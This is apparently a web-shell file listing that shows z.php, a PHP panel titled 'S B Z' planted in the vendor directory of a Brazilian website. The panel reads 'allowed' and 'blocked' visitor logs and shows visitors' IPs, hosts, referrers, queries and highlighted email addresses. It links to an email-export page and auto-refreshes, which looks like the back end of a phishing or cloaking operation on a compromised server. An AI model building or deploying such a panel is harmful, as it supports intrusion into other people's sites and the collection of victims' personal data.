%PDF- %PDF-
Direktori : /home/vacivi36/dossteste.vacivitta.com.br/vendor/ |
Current File : /home/vacivi36/dossteste.vacivitta.com.br/vendor/z.php |
<?php error_reporting(E_ALL); ini_set('display_errors', 1); set_time_limit(0); date_default_timezone_set("America/Sao_Paulo"); setlocale(LC_ALL, 'pt_BR'); ignore_user_abort(true); if(!file_exists("LIBERADOS.txt")) file_put_contents("LIBERADOS.txt",""); if(!file_exists("BLOQUEADOS.txt")) file_put_contents("BLOQUEADOS.txt",""); $FILE_LIBERADOS = file_get_contents("LIBERADOS.txt"); $FILE_BLOQUEADOS = file_get_contents("BLOQUEADOS.txt"); $FILE_LIBERADOS_ROWS = explode("\n", $FILE_LIBERADOS); $FILE_BLOQUEADOS_ROWS = explode("\n", $FILE_BLOQUEADOS); $COUNT_DESKTOP = 0; $COUNT_MOBILE = 0; foreach ($FILE_LIBERADOS_ROWS as $row) { if(strpos($row, "DESKTOP") !== false) $COUNT_MOBILE++; if(strpos($row, "MOBILE") !== false) $COUNT_DESKTOP++; } ?> <!DOCTYPE html> <html lang="pt-BR"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>S B Z</title> <meta http-equiv="refresh" content="25"> <style> body { background-color: #0F0F1C; color: #EDEDED; font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; padding: 40px; margin: 0; } h2 { color: #00FFC6; font-weight: 400; margin-bottom: 10px; } .stats { background: #13132B; border: 1px solid #27274D; border-radius: 10px; padding: 20px; margin-bottom: 30px; box-shadow: 0 0 10px #00ffc66b; } .stats a { color: #B677FF; font-weight: bold; text-decoration: none; margin-right: 10px; } .stats a:hover { text-decoration: underline; } .table-container { overflow-x: auto; } table { width: 100%; border-collapse: collapse; margin-top: 10px; background-color: #13132B; box-shadow: 0 0 10px rgba(0,255,198,0.1); border-radius: 8px; overflow: hidden; } th { background-color: #1A1A2E; color: #00FFC6; padding: 10px; font-size: 13px; border-bottom: 1px solid #27274D; } td { padding: 10px; font-size: 12px; color: #ccc; } tr:nth-child(even) { background-color: #0F0F1C; } tr:hover { background-color: #23234a; } .countdown { color: #888; font-size: 11px; margin-top: 5px; } .email-highlight { color: #FFD700; /* amarelo */ } </style> </head> <body> <h2>S B Z</h2> <div class="stats"> <div> <a href="?liberados">Ver Liberados</a> <a href="?bloqueados">Ver Bloqueados</a> <a href="export_emails.php" target="_blank">Exportar Emails</a> </div> <br> <div>Total Liberados: <?= count($FILE_LIBERADOS_ROWS) - 1; ?></div> <div>Total Bloqueados: <?= count($FILE_BLOQUEADOS_ROWS) - 1; ?></div> <div>Total Mobile: <?= $COUNT_DESKTOP; ?></div> <div>Total Desktop: <?= $COUNT_MOBILE; ?></div> <div class="countdown">Atualizando em <span id="countdown">10</span> segundos...</div> </div> <div class="table-container"> <table> <thead> <tr> <th>#</th> <th>DATA</th> <th>OS</th> <?php if ($_SERVER['QUERY_STRING'] == "bloqueados") echo "<th>AÇÃO</th>"; ?> <th>QUERY</th> <th>HASH</th> <th>IP</th> <th>HOST</th> <th>REFERÊNCIA</th> </tr> </thead> <tbody> <?php function highlightEmail($text) { return filter_var($text, FILTER_VALIDATE_EMAIL) ? "<span class='email-highlight'>$text</span>" : $text; } if ($_SERVER['QUERY_STRING'] == "bloqueados") { $FILE_BLOQUEADOS_ROWS = array_reverse($FILE_BLOQUEADOS_ROWS, true); foreach ($FILE_BLOQUEADOS_ROWS as $key => $row) { if (strpos($row, "|") !== false) { $row = explode("|", $row); if ($row[1] !== "IP_IN_LIST") { echo "<tr> <td>$key</td> <td>$row[0]</td> <td>$row[7]</td> <td>" . highlightEmail($row[1]) . "</td> <td>" . highlightEmail($row[2]) . "</td> <td style='font-size: 10px;'>" . $row[3] . "</td> <td>$row[4]</td> <td>$row[5]</td> <td style='font-size: 10px;'>" . highlightEmail($row[6]) . "</td> </tr>"; } } } } else { $FILE_LIBERADOS_ROWS = array_reverse($FILE_LIBERADOS_ROWS, true); foreach ($FILE_LIBERADOS_ROWS as $key => $row) { if (strpos($row, "|") !== false) { $row = explode("|", $row); echo "<tr> <td>$key</td> <td>$row[0]</td> <td>$row[6]</td> <td>" . highlightEmail($row[1]) . "</td> <td style='font-size: 10px;'>" . highlightEmail($row[2]) . "</td> <td>$row[3]</td> <td>$row[4]</td> <td style='font-size: 10px;'>" . highlightEmail($row[5]) . "</td> </tr>"; } } } ?> </tbody> </table> </div> <script> (function countdown(remaining) { if (remaining === 0) location.reload(true); document.getElementById('countdown').innerText = remaining; setTimeout(() => countdown(remaining - 1), 1000); })(10); </script> </body> </html>